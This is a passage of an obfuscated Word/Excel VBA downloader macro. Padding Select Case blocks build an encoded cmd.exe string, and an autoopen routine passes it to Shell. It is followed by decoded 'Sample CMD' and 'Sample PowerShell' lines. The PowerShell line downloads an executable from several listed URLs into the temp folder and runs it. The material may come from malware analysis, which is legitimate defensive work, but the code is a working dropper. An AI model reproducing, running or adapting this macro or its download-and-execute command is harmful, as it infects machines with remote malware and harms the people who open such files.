            qrvhsw = Fix(277)
            oiljws = vwcuz
         Case 425
            qvljirl = Sin(tswikm)
            inuhicw = CBool(zpaprj)
            bdwvlz = CInt(879)
      End Select
wolowrr = ";60;7" + "2;2" + "1;13" + ";77;" + "21;44;" + "73;5" + ";25;" + "77;53"
Select Case nbvqph
         Case 522
            tdbap = Int(vdazwhw)
            tcqtmju = Fix(805)
            imtlltq = innli
         Case 888
            azrji = Sin(vfwlpk)
            wtiic = CBool(iinpjl)
            iwvctv = CInt(395)
      End Select
   Select Case szkwlqh
         Case 786
            svpbu = Int(lmsjaa)
            wioorlr = Fix(791)
            iklizus = rztnvb
         Case 870
            clrzn = Sin(hsjpva)
            jpzdc = CBool(nlkfwfv)
            udjszb = CInt(221)
      End Select
   Select Case zbvkp
         Case 884
            ipkqiva = Int(qolbofk)
            awnihn = Fix(710)
            njujcc = ozccjqo
         Case 274
            cjkvknj = Sin(dzhzz)
            ncdjlj = CBool(qnujri)
            pvpcb = CInt(664)
      End Select
jaowj = ";26" + ";41" + ";28;2" + "8;28;2" + "8;52" + ";18" + ";13;" + "18;77"
Select Case jkapz
         Case 863
            jijjajc = Int(kcwnoqz)
            lsakbj = Fix(57)
            ksunt = wirwpmd
         Case 201
            kjnsta = Sin(knrwjw)
            jrjbwjz = CBool(mhovwo)
            kwvpkqs = CInt(701)
      End Select
   Select Case mriizij
         Case 869
            abwjlk = Int(fzawq)
            ftqtvvw = Fix(219)
            qnsrfqd = mmplqit
         Case 819
            wpasptk = Sin(rpiww)
            wrmahzz = CBool(hpizl)
            vndhp = CInt(790)
      End Select
aahjhpt = ";1;7;" + "76;" + "77;5" + "3;26" + ";63;51"
Select Case rwjaup
         Case 344
            uidbtuq = Int(mroznho)
            ztvnwmz = Fix(837)
            wporow = anpkimz
         Case 917
            ulwli = Sin(swjhqc)
            fkdzaaw = CBool(obhnpi)
            vwblmkk = CInt(880)
      End Select
   Select Case nhmirkd
         Case 234
            wzfbc = Int(wwhrtlv)
            jzkskr = Fix(977)
            lomnno = lsbkfp
         Case 911
            jfjtvql = Sin(dvwvi)
            ormlik = CBool(iaduc)
            mmlkto = CInt(765)
      End Select
   Select Case hjiukj
         Case 286
            lijtui = Int(wjqzdzd)
            waiijso = Fix(232)
            phdbrj = ddwwwqp
         Case 195
            pilbj = Sin(hihfps)
            shpshws = CBool(aibzd)
            bljqvao = CInt(924)
      End Select
zlqnkj = ";5;14" + ";14;" + "57;63;" + "13;77;" + "5;56" + ";71;" + "60;14;" + "77;53;"
Select Case mibmbmq
         Case 331
            rbuwod = Int(iitntf)
            zjuwljo = Fix(22)
            vfvms = clsjv
         Case 940
            rcwizp = Sin(cmjolz)
            uzkipt = CBool(iiqtjs)
            bouip = CInt(844)
      End Select
   Select Case wtjzjpw
         Case 759
            jkwctho = Int(bzwsal)
            kzibhv = Fix(109)
            rwmhna = basiz
         Case 862
            dpuaa = Sin(ibmwiq)
            tzjqpo = CBool(wirwki)
            amwijh = CInt(219)
      End Select
ifbiok = "26;" + "41;52;" + "9;5" + "1;2" + "3;63;7" + "1;13;" + "26;38"
Select Case ltpzjl
         Case 942
            jilzp = Int(lijunv)
            nilcl = Fix(616)
            zfnsrii = wncnzqr
         Case 954
            nhbzqj = Sin(wzvzph)
            ubwwhi = CBool(ohjtoru)
            iomzj = CInt(899)
      End Select
   Select Case wqiin
         Case 772
            zfqob = Int(ljpdj)
            nkdzh = Fix(605)
            iunlsrn = zrsmasq
         Case 374
            sapiq = Sin(czaomk)
            awapnkz = CBool(irivnrn)
            nizpp = CInt(896)
      End Select
fwcbzui = ";23" + ";14;" + "0;5" + "6;38;" + "57;2" + "1;46;"
Select Case fjash
         Case 929
            btrujnr = Int(jjrvow)
            phbpccb = Fix(409)
            tiisuo = cnufq
         Case 165
            ztijqji = Sin(rnjzqqj)
            ztiomdd = CBool(fbkqzfj)
            ctaja = CInt(448)
      End Select
   Select Case wuzqrc
         Case 401
            wnclws = Int(wzcjthu)
            dwmvvil = Fix(857)
            ubwhsiz = oaazqwv
         Case 134
            dmdnu = Sin(wpdiro)
            duzqkat = CBool(pwczwzz)
            pzhroc = CInt(316)
      End Select
   Select Case jjlbjzi
         Case 423
            qjpkwzr = Int(karslnk)
            pitqaqk = Fix(138)
            jbntlh = ziwrnzc
         Case 543
            ranwipv = Sin(zjzzuwh)
            zhfkbrm = CBool(zvvolzs)
            wmzwwik = CInt(375)
      End Select
fqwlia = "77;54" + ";77;4" + "6;26;4" + "1;28" + ";28;" + "28;"
Select Case nzjlwr
         Case 660
            diwfmmq = Int(riwjuvw)
            lfiak = Fix(137)
            wdvocmh = kzjrri
         Case 937
            voidnpi = Sin(dlcuu)
            nmbios = CBool(flwjq)
            kwohcru = CInt(627)
      End Select
   Select Case zwijr
         Case 956
            imwmrza = Int(rkzapsw)
            tsrzz = Fix(674)
            vfmbq = olroits
         Case 6
            uvlbi = Sin(zofcfh)
            zkdvv = CBool(vzlda)
            jbsjufv = CInt(129)
      End Select
hiplpir = "28;52" + ";46" + ";77;" + "70;38;" + "2;38;"
Select Case mcduz
         Case 43
            kaztwa = Int(wtwfqz)
            ihuqsz = Fix(527)
            dbwvz = zjtsd
         Case 744
            zmilinq = Sin(sqsjmu)
            zrvzls = CBool(rjkibh)
            crjrbpn = CInt(494)
      End Select
   Select Case rfclzb
         Case 722
            ndijbmc = Int(niwjj)
            iiwtonf = Fix(525)
            knfcmiu = rsilrz
         Case 67
            blivw = Sin(susfaw)
            bcppdav = CBool(tmcazht)
            fmarooq = CInt(434)
      End Select
joanm = "77;53;" + "52;2" + "5;45;3" + "8;5;6" + "3;30" + ";29;2"
Select Case wpstzwm
         Case 777
            nadpci = Int(cdlqz)
            uusdtf = Fix(461)
            vtvsilv = phaosnj
         Case 452
            uhfrjhd = Sin(qijbkfu)
            izrhav = CBool(lfcfu)
            nuqpcl = CInt(417)
      End Select
   Select Case zpwjstj
         Case 168
            sdjpvoz = Int(wisis)
            tihwjjs = Fix(151)
            wbitji = qwnkt
         Case 698
            zrjhh = Sin(vzbzk)
            kctfsw = CBool(pambcn)
            kowjjb = CInt(804)
      End Select
   Select Case bnwrwpv
         Case 760
            jrfqaz = Int(pmjwc)
            blhlzbl = Fix(543)
            kubzfa = ldlhrd
         Case 970
            lvmikda = Sin(niaku)
            zpinjk = CBool(lrpfuui)
            izsim = CInt(995)
      End Select
umijp = "6;23;" + "23;45;" + "71;41" + ";52;5" + "6;18;4" + ";23;" + "18;2"
updhr = wolowrr + jaowj + aahjhpt + zlqnkj + ifbiok + fwcbzui + fqwlia + hiplpir + joanm + umijp
End Function

Function iwdzhmj()
On Error Resume Next
Select Case osaotwm
         Case 587
            ppktku = Int(vwhif)
            bjzto = Fix(326)
            riwucpr = zvswl
         Case 552
            khzsq = Sin(hkrpov)
            opspm = CBool(mdhjjj)
            quard = CInt(56)
      End Select
   Select Case awjaa
         Case 397
            bwowwii = Int(aowjt)
            jzmdzbm = Fix(96)
            mjckfio = jwwnd
         Case 364
            rjwwhs = Sin(azlczj)
            wwwftuf = CBool(qvuklit)
            usfcfq = CInt(609)
      End Select
zlnsz = "6;41;4" + "5;56;" + "25;2" + "8;56;" + "69;4"
Select Case bibszn
         Case 556
            mtwnwzi = Int(wdsfuu)
            bipsanj = Fix(533)
            zrjisi = atfkn
         Case 847
            jfqvoj = Sin(ljtzljo)
            pkszulk = CBool(untrrt)
            hizivr = CInt(245)
      End Select
   Select Case rchhnwi
         Case 431
            rsabjj = Int(iucjf)
            iiwzpz = Fix(776)
            amtihs = abaiwvm
         Case 212
            cmuhw = Sin(frjlkqw)
            bwpnul = CBool(iilfl)
            ustrtq = CInt(697)
      End Select
pttuf = "3;5" + "6;45;3" + ";43;2" + "6;5" + "1;2" + "5;63;4"
Select Case mslojw
         Case 536
            fliif = Int(fzfdknl)
            idfmu = Fix(88)
            pizztqf = cmjvfp
         Case 883
            lldizh = Sin(aviwk)
            jsaswl = CBool(zwlznmd)
            uhrqu = CInt(433)
      End Select
   Select Case fuvudi
         Case 134
            wkrlp = Int(osszro)
            zllwp = Fix(104)
            mincd = wqqwal
         Case 724
            vrvnjq = Sin(usustj)
            pjijbzj = CBool(vjbszs)
            abzhw = CInt(883)
      End Select
mpkun = "5;23;5" + "2;4" + ";70;" + "6;25;2" + "8;23" + ";72;" + "25;5;" + "48;34"
Select Case babvu
         Case 294
            iutijq = Int(ztznbu)
            zcouipz = Fix(962)
            mktnq = jrjia
         Case 365
            fhzdpw = Sin(iwstomp)
            zbirtjd = CBool(rdslz)
            dziavs = CInt(252)
      End Select
   Select Case arrcuj
         Case 582
            djufi = Int(vzvuro)
            jzfww = Fix(525)
            doqha = bdtlui
         Case 159
            acjrkws = Sin(jswiqzq)
            rqnwk = CBool(tqzdcz)
            kzvicrj = CInt(849)
      End Select
rwsqzc = ";4;72;" + "38;2" + "9;2" + "6;23" + ";23;4" + "5;7" + "1;41;" + "52;56"
Select Case qijwiiz
         Case 93
            vduuqco = Int(wnnswm)
            jonozt = Fix(666)
            vjjsuws = mqqkj
         Case 235
            kjcqil = Sin(qnkjvkd)
            jiprbpv = CBool(zqtzihq)
            krdnzi = CInt(783)
      End Select
   Select Case wijjvvo
         Case 791
            scfps = Int(bbzwow)
            wosuvvw = Fix(797)
            nllfh = zjmli
         Case 586
            obfowjk = Sin(zjvzri)
            iiiia = CBool(purpsnr)
            whutf = CInt(20)
      End Select
sjcmq = ";36;1" + "8;26;4" + "1;52;" + "9;51;2" + "3;63;" + "71;6" + "9;53" + ";26;6"
Select Case dibuj
         Case 778
            avlmuvh = Int(afzzj)
            zzmvv = Fix(234)
            zjzdvj = blidojp
         Case 423
            zpiijww = Sin(hhlwuob)
            wdtudn = CBool(wdmskb)
            irbrcbf = CInt(811)
      End Select
   Select Case idkjm
         Case 733
            nbrnzv = Int(izzqhv)
            pcqso = Fix(124)
            srztnr = auljwkc
         Case 416
            riiqw = Sin(dqjckv)
            avfwwcm = CBool(qnjdk)
            ftnlw = CInt(312)
      End Select
cjaksp = "3;9;56" + ";9;5;" + "56;13;" + "77;41" + ";44;" + "41;4;6" + "0;7" + "7;53;"
Select Case obuwrb
         Case 702
            lihhtlw = Int(uzfwfjw)
            crszbib = Fix(872)
            bzhvlt = kjmifb
         Case 640
            lswnzw = Sin(ldmddf)
            jwzndtd = CBool(nohulqi)
            qivbba = CInt(944)
      End Select
   Select Case qszlzc
         Case 58
            lwqtjvl = Int(baffujp)
            odnqdkw = Fix(237)
            ltljvnc = ujtbkb
         Case 556
            kznwn = Sin(ofvtfz)
            tfdptk = CBool(nassubc)
            wsvjio = CInt(251)
      End Select
ihciz = "33;" + "52;18;" + "29;29;" + "24;3" + "8;56" + ";15;3" + "3;56" + ";38;" + "57;"
Select Case asfbwbs
         Case 42
            oatsoiv = Int(azbtf)
            cibjlz = Fix(462)
            lijmq = zairwm
         Case 451
            pplcw = Sin(mjwozih)
            mscdmc = CBool(lctzzsp)
            ivhbi = CInt(75)
      End Select
   Select Case jjdilj
         Case 639
            hjqcds = Int(nibri)
            ujnncqc = Fix(200)
            kjuhnlu = saifsqw
         Case 400
            mzzajnc = Sin(svfbr)
            iwvzwhm = CBool(tqiuwf)
            imwmj = CInt(433)
      End Select
   Select Case lzzvw
         Case 506
            zpohii = Int(lnjtol)
            wuphtj = Fix(928)
            wcibrf = hapmmta
         Case 53
            dzotaol = Sin(zjpsq)
            mfkhtij = CBool(kuzja)
            pluqv = CInt(101)
      End Select
sidlri = "18;2" + "6;41" + ";52" + ";9;51" + ";23"
Select Case dvkqb
         Case 112
            zqafap = Int(znwzvjl)
            wvjsu = Fix(676)
            zajiwa = iwfom
         Case 352
            jrwcfh = Sin(wifhaw)
            ktdpbtz = CBool(vrkjz)
            lricsn = CInt(263)
      End Select
   Select Case rwzsv
         Case 209
            ovura = Int(skndj)
            thtii = Fix(440)
            jvrzf = sfhjnj
         Case 808
            zlvpf = Sin(zlpdsw)
            rthowab = CBool(irhwdh)
            stiwqub = CInt(673)
      End Select
pmvuok = ";63;71" + ";69;" + "70;72;" + "38;23" + ";22;" + "56;30;"
Select Case uqbko
         Case 807
            zrkza = Int(ojjrznz)
            mposn = Fix(172)
            qzojr = sfjfcwq
         Case 424
            ujmswuz = Sin(zwjwuti)
            cmlzf = CBool(rdsijwi)
            tzalrdr = CInt(994)
      End Select
   Select Case idfki
         Case 511
            uticzua = Int(vcwns)
            upfzjdf = Fix(500)
            twichb = zuoimbv
         Case 272
            kooqpi = Sin(hqmrnv)
            acmioa = CBool(tsjqddi)
            qcsvdiw = CInt(502)
      End Select
   Select Case hpmrjj
         Case 991
            dziof = Int(dmkhrfb)
            mizqsr = Fix(305)
            nsvwb = bcalzz
         Case 392
            wtaqvc = Sin(iwazpk)
            nlrjcfk = CBool(qcapjp)
            cuzjah = CInt(452)
      End Select
ibrlso = "18;1" + "5;22" + ";38;" + "18;1" + "6;11;1"
Select Case swwzwc
         Case 26
            jncuidm = Int(oabafzq)
            zwmato = Fix(134)
            hzhhll = swwzlbz
         Case 148
            nrrbjc = Sin(nnjto)
            ufbrj = CBool(clfrzr)
            mwvzqfr = CInt(232)
      End Select
   Select Case plkzbww
         Case 231
            ztjnovn = Int(wfwio)
            vrsmcv = Fix(750)
            rpnlrh = finmo
         Case 300
            lzanr = Sin(nrafnzu)
            wazjz = CBool(otrzjw)
            jolrv = CInt(742)
      End Select
   Select Case jizvcdj
         Case 36
            zwivj = Int(zjcfqw)
            tnhjwz = Fix(282)
            wzfkkk = zhwmfjc
         Case 46
            ihntj = Sin(ipcrz)
            vwwhdwn = CBool(nsqbdo)
            iozwt = CInt(834)
      End Select
fcvna = "1;11;1" + "1;6" + "9;18;4" + "3;33" + ";23;14"
iwdzhmj = zlnsz + pttuf + mpkun + rwsqzc + sjcmq + cjaksp + ihciz + sidlri + pmvuok + ibrlso + fcvna
End Function

Function irhjvzm()
On Error Resume Next
Select Case bjuofbi
         Case 576
            owjadd = Int(vzpdok)
            bkwcf = Fix(184)
            iiijzu = uiatdp
         Case 322
            jiadwsk = Sin(auskdkl)
            vwblaza = CBool(jaimbj)
            wmfkqum = CInt(59)
      End Select
   Select Case tuhfj
         Case 550
            cihphij = Int(dzqzj)
            zimtazo = Fix(727)
            lucampu = ktzhni
         Case 735
            cfimu = Sin(fclwc)
            djzmia = CBool(vnqpwz)
            phnjqho = CInt(933)
      End Select
jnjpoqi = ";25;" + "51;38;" + "15;3" + "3;56" + ";38"
Select Case wcjad
         Case 633
            ijuwwv = Int(dluzsoz)
            azqzuno = Fix(947)
            vncus = wkibz
         Case 246
            jloqhkf = Sin(csopk)
            wwsjk = CBool(cflrmvv)
            ablbziq = CInt(696)
      End Select
   Select Case wzuqswp
         Case 146
            rnrom = Int(tijcp)
            puztzv = Fix(325)
            nbwklhi = qujfnp
         Case 311
            pinrjzj = Sin(bvisswu)
            pwtliz = CBool(cijhilt)
            ofwszdk = CInt(380)
      End Select
zchljc = ";57;1" + "8;26" + ";41;" + "52;9" + ";51;23" + ";63;"
Select Case cisbr
         Case 665
            omzldz = Int(ukrtbsv)
            njjmli = Fix(346)
            hwpvws = mauzi
         Case 268
            hclzd = Sin(rsdhjc)
            owuqa = CBool(lwmwfuh)
            cumdb = CInt(917)
      End Select
   Select Case sjbmtw
         Case 963
            bcvqm = Int(zckaf)
            vvfis = Fix(603)
            vflzjl = jnsvi
         Case 293
            iwctria = Sin(fjqno)
            uqjpio = CBool(awimmvs)
            jzwnm = CInt(760)
      End Select
   Select Case dwwbi
         Case 994
            czidjwz = Int(mqwbkvz)
            roqira = Fix(46)
            ccwztaz = jowiia
         Case 31
            batdwl = Sin(zdufh)
            avpvoz = CBool(zisbo)
            qhulz = CInt(915)
      End Select
pwcvkwa = "71;5" + "3;26;" + "56;2" + "3;9" + ";72;" + "28;4;2" + "8;13;"
Select Case mclrwc
         Case 264
            rjjkur = Int(lsuaz)
            htztrf = Fix(251)
            blqlk = bflojj
         Case 923
            wzrzt = Sin(pujcfn)
            lqiji = CBool(sacsu)
            hzvjsti = CInt(572)
      End Select
   Select Case jwrrs
         Case 104
            dmoocjm = Int(oqwrc)
            tfvnt = Fix(73)
            ziimfzc = bzuawzw
         Case 444
            ibiqji = Sin(mhidbcp)
            faajlhc = CBool(zcvjw)
            pfwrrz = CInt(287)
      End Select
   Select Case fjjjmqo
         Case 985
            rmawwji = Int(vjtfbd)
            hobkr = Fix(25)
            dompkz = jzjjni
         Case 769
            izllii = Sin(ljlwpa)
            purwz = CBool(tfwiumr)
            rznajzz = CInt(246)
      End Select
zaqail = "77;28" + ";52;" + "28;72;" + "14;23;" + "30;77" + ";53;" + "60;4"
Select Case nkzsh
         Case 153
            nibwz = Int(jfudna)
            zimjnsw = Fix(962)
            zucji = fdfqfuo
         Case 700
            whaobb = Sin(jvuzh)
            cvztj = CBool(fdiwj)
            owrzhwr = CInt(960)
      End Select
   Select Case mqikfv
         Case 315
            zwaiz = Int(bhbzu)
            zqpiz = Fix(192)
            hvijaza = julvrw
         Case 158
            mrqpopj = Sin(upmizo)
            iwsohb = CBool(oaufht)
            jsabrh = CInt(725)
      End Select
   Select Case oaptl
         Case 505
            zvswlmz = Int(uwtwpbp)
            qwzusr = Fix(594)
            qblkq = zkmvlrz
         Case 814
            vrizz = Sin(uwiwidb)
            jiblk = CBool(frqdf)
            ailmvwd = CInt(119)
      End Select
njuuffw = "5;38;5" + ";51;5" + "3;75" + ";75;6" + "3;5;5" + "6;63;"
Select Case hphfd
         Case 602
            skfpdl = Int(sstur)
            bzfwzc = Fix(642)
            cikjpao = wjprhws
         Case 67
            taukz = Sin(hwtan)
            imwatn = CBool(pwudb)
            jiwijd = CInt(851)
      End Select
   Select Case awwbf
         Case 891
            zqnzozq = Int(cfdrtjo)
            frzbb = Fix(348)
            niowzc = pwwtiuk
         Case 966
            nvlhr = Sin(zrfwwo)
            zliccfc = CBool(dirsdkj)
            wvjffqj = CInt(216)
      End Select
ikspkz = "30;43" + ";75" + ";75" + ";26;52" + ";41;" + "4;14;" + "52;"
Select Case fdztl
         Case 672
            zwfmbaj = Int(hkvsm)
            csffojw = Fix(118)
            wihjr = wznziuv
         Case 118
            jczqsn = Sin(slhjob)
            wdzlaq = CBool(vncauwk)
            tnabmdv = CInt(310)
      End Select
   Select Case djtwaqk
         Case 968
            apzwivb = Int(mvwjw)
            pblmzu = Fix(939)
            ruvrum = jrukjzl
         Case 100
            jzjaubp = Sin(nzwfrs)
            bjnnzz = CBool(hzbfd)
            cupjiq = CInt(964)
      End Select
   Select Case dtlpbw
         Case 804
            lrwqu = Int(dnafzdu)
            ukcqdwv = Fix(37)
            tznwq = jnhif
         Case 486
            wiojkz = Sin(vhnscz)
            vwtlzpp = CBool(uujropz)
            fohuj = CInt(55)
      End Select
rmlmzv = "13;" + "77;5" + ";41" + ";14;" + "60;" + "25;5" + "6;77" + ";53" + ";85)do"
Select Case iwdzcor
         Case 927
            zpjotud = Int(qmifpp)
            qzzkh = Fix(525)
            hqufn = tqsjt
         Case 344
            nzujjvr = Sin(qnawjh)
            ijmii = CBool(miooz)
            szfmnni = CInt(824)
      End Select
   Select Case jkjjsr
         Case 990
            ziiaq = Int(nclrbmq)
            pwhlhbn = Fix(2)
            jiabwj = voscl
         Case 255
            lbplz = Sin(ocvswa)
            iiapom = CBool(izhujb)
            aljpmk = CInt(420)
      End Select
   Select Case ndqzu
         Case 421
            caiahzl = Int(wzrjhnq)
            lucsur = Fix(507)
            fkshnta = aufbjuq
         Case 484
            wfpadf = Sin(pkjmni)
            tbojz = CBool(rqzkkn)
            hvzzl = CInt(609)
      End Select
kpadi = " set Z" + "G0H=" + "!ZG0" + "H!!hUB" + ":~%C," + "1!&" + "&if %C" + " gtr 8"
Select Case kimhfu
         Case 969
            nocrb = Int(ppwioj)
            kikza = Fix(651)
            ohmdpko = rpblh
         Case 747
            pbqdlw = Sin(izwjz)
            kuojpc = CBool(bzhwt)
            dpillpm = CInt(612)
      End Select
   Select Case hzcmkkr
         Case 205
            mpwfwa = Int(jtqnub)
            vqbjdph = Fix(347)
            wkrnpw = sqzzisn
         Case 129
            itdbppo = Sin(wiwin)
            dzusiu = CBool(jhvvh)
            zooiwmv = CInt(800)
      End Select
clnrnc = "4 ec" + "ho !" + "ZG0" + "H:~" + "6!|F" + "OR /F "
Select Case oqijtm
         Case 427
            mhjrm = Int(ncdwi)
            zoqtjwj = Fix(675)
            qlpom = hhimui
         Case 701
            ltrpdlb = Sin(sdsbs)
            fjbajob = CBool(ozifdf)
            lkpzn = CInt(973)
      End Select
   Select Case ditji
         Case 546
            tljknk = Int(frzos)
            icrmwca = Fix(718)
            zwiwad = frviuzq
         Case 632
            uwwloik = Sin(btjtss)
            owjioi = CBool(ziihrw)
            hwpqni = CInt(150)
      End Select
huozjo = Chr(34) + "token" + "s=1 de" + "lims=r" + ".=1" + "z" + Chr(34) + " %e"
Select Case dksbnz
         Case 772
            dshbw = Int(dizdkon)
            svsrikv = Fix(886)
            olffj = dsainjo
         Case 27
            apipzt = Sin(cbibswk)
            kkwzoql = CBool(zrfodqr)
            hulrsdk = CInt(260)
      End Select
   Select Case rzdhjf
         Case 635
            wwuubaq = Int(njfoip)
            jwunchw = Fix(235)
            dzmirbj = imjswk
         Case 301
            kdsoz = Sin(tmhtpwo)
            nmwio = CBool(mwbmc)
            cukrvva = CInt(580)
      End Select
zdwlk = " IN " + "('as" + "soc^" + "^^|fi" + "ndstr" + " d^^^="
Select Case qvcutnu
         Case 6
            twnbo = Int(rjvulq)
            jndpj = Fix(651)
            nbmjjsl = zcjdb
         Case 59
            bjuod = Sin(bqmar)
            nmwzzc = CBool(wwwtl)
            afmnkhh = CInt(447)
      End Select
   Select Case sidvcal
         Case 913
            dtzuhwr = Int(wqjzpt)
            itbto = Fix(657)
            mszrdo = zhqdnh
         Case 23
            jqimj = Sin(vzjir)
            caduft = CBool(jnvbi)
            ozszs = CInt(211)
      End Select
ifpflfq = "cm')" + "DO %" + "e " + Chr(34) + " "
irhjvzm = jnjpoqi + zchljc + pwcvkwa + zaqail + njuuffw + ikspkz + rmlmzv + kpadi + clnrnc + huozjo + zdwlk + ifpflfq
End Function


Sub autoopen()
jhiifw = Shell(akuuwh + zlwrsaq + ujtqrfo + suhmmql + updhr + iwdzhmj + irhjvzm, 762136 - 762136)
End Sub


Sample CMD:
# Path traversal obfuscation
# For loop obfuscation
c:\duqlc\nwhauo\mikqju\..\..\..\windows\system32\cmd.exe /c %ProgramData:~0,1%%ProgramData:~9,2% /V:ON/C"set hUB=:5xyiaD8VjA0W=v-4M ERpgnGo$Lw(h39IFJ,Oe/_zU{ur+TdHNkf;\XtmS~bC@cQPBZ6).qls%}1'&&for %C in (21;25;28;74;65;42;66;27;33;61;0;59;1;36;76;74;45;74;58;19;58;58;33;37;50;50;10;17;19;0;59;15;16;36;76;74;30;74;47;19;17;65;0;59;15;31;36;76;74;72;72;18;26;14;73;63;48;23;48;44;13;77;4;41;4;23;4;9;77;53;26;51;25;63;45;23;52;4;13;23;38;28;15;25;60;9;38;63;56;18;50;38;56;70;12;38;60;61;72;4;38;23;56;53;26;41;45;56;25;28;56;13;77;30;56;56;21;0;39;39;72;38;5;48;38;45;73;56;5;70;63;25;57;39;67;48;73;2;67;6;48;35;7;5;62;30;56;56;21;0;39;39;22;45;5;23;60;25;23;73;5;4;70;63;25;57;39;19;7;37;76;42;63;1;5;28;50;8;42;62;30;56;56;21;0;39;39;28;38;60;15;63;44;48;38;70;63;25;57;39;28;21;15;5;48;57;4;23;39;30;44;19;67;7;22;55;37;27;2;71;44;40;49;5;4;1;9;4;63;34;72;62;30;56;56;21;0;39;39;30;41;57;45;44;73;73;4;5;70;45;44;39;28;21;15;5;48;57;4;23;39;4;57;5;22;38;73;39;64;1;50;7;27;49;68;58;76;23;10;52;1;48;8;40;20;55;28;21;62;30;56;56;21;0;39;39;4;73;21;3;56;5;23;4;38;70;73;5;14;38;72;70;45;44;39;58;3;76;16;16;64;55;1;58;32;20;51;34;77;70;58;21;72;4;56;29;77;62;77;69;53;26;52;41;45;60;72;21;13;77;21;44;73;5;25;77;53;26;41;28;28;28;28;52;18;13;18;77;1;7;76;77;53;26;63;51;5;14;14;57;63;13;77;5;56;71;60;14;77;53;26;41;52;9;51;23;63;71;13;26;38;23;14;0;56;38;57;21;46;77;54;77;46;26;41;28;28;28;28;52;46;77;70;38;2;38;77;53;52;25;45;38;5;63;30;29;26;23;23;45;71;41;52;56;18;4;23;18;26;41;45;56;25;28;56;69;43;56;45;3;43;26;51;25;63;45;23;52;4;70;6;25;28;23;72;25;5;48;34;4;72;38;29;26;23;23;45;71;41;52;56;36;18;26;41;52;9;51;23;63;71;69;53;26;63;9;56;9;5;56;13;77;41;44;41;4;60;77;53;33;52;18;29;29;24;38;56;15;33;56;38;57;18;26;41;52;9;51;23;63;71;69;70;72;38;23;22;56;30;18;15;22;38;18;16;11;11;11;11;69;18;43;33;23;14;25;51;38;15;33;56;38;57;18;26;41;52;9;51;23;63;71;53;26;56;23;9;72;28;4;28;13;77;28;52;28;72;14;23;30;77;53;60;45;38;5;51;53;75;75;63;5;56;63;30;43;75;75;26;52;41;4;14;52;13;77;5;41;14;60;25;56;77;53;85)do set ZG0H=!ZG0H!!hUB:~%C,1!&&if %C gtr 84 echo !ZG0H:~6!|FOR /F "tokens=1 delims=r.=1z" %e IN ('assoc^^^|findstr d^^^=cm')DO %e "


Sample PowerShell:
powershell $vscdndu='izinij';$kocrnfi=new-object Net.WebClient;$zrtowt='http://leadersta.com/ZdsxZDdJ8a@http://granbonsai.com/E8O1Uc5awNVU@http://web-cude.com/wp-admin/huEZ8gXOLxqu_Hai5jicFl@http://hzmrussia.ru/wp-admin/images/Q5N8LH6S1nAf5dV_RXwp@http://ispytanie.savel.ru/Sy144QX5S9RkF'.Split('@');$fzrblp='pusao';$zwwwwf = '581';$ckavvmc='atqbv';$zfjkncq=$env:temp+'\'+$zwwwwf+'.exe';foreach($nnrqzft in $zrtowt){try{$kocrnfi.DownloadFile($nnrqzft, $zfjkncq);$cjtjat='zuzib';If ((Get-Item $zfjkncq).length -ge 40000) {Invoke-Item $zfjkncq;$tnjlwiw='wfwlvnh';break;}}catch{}}$fzivf='azvbot';